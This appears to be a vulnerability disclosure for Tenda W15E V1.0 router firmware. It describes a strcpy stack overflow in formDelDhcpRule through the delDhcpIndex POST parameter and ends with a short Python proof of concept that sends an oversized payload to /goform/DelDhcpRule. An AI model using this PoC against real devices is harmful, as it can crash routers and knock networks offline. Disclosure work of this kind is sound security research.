formDelDhcpRule.md

Overview

• Firmware download website: https://www.tendacn.com/download/detail-2722.html

Affected version

W15EV1.0 V15.11.0.14

Vulnerability details

The Tenda W15EV1.0 V15.11.0.14 firmware has a stack overflow vulnerability in the formDelDhcpRule function. The indexSet variable receives the delDhcpIndex parameter from a POST request and is directly assigned to strcpy. However, since the user can control the input of delDhcpIndex , the statement strcpy((char *)indexs, (const char *)indexSet); can cause a buffer overflow. The user-provided delDhcpIndex can exceed the capacity of the indexs array, triggering this security vulnerability.

POC

import requests
from pwn import*

ip = "192.168.84.101"
url = "http://" + ip + "/goform/DelDhcpRule"
payload = b"a"*2000

data = {
    	'delDhcpIndex':payload,
    }
response = requests.post(url, data=data)
print(response.text)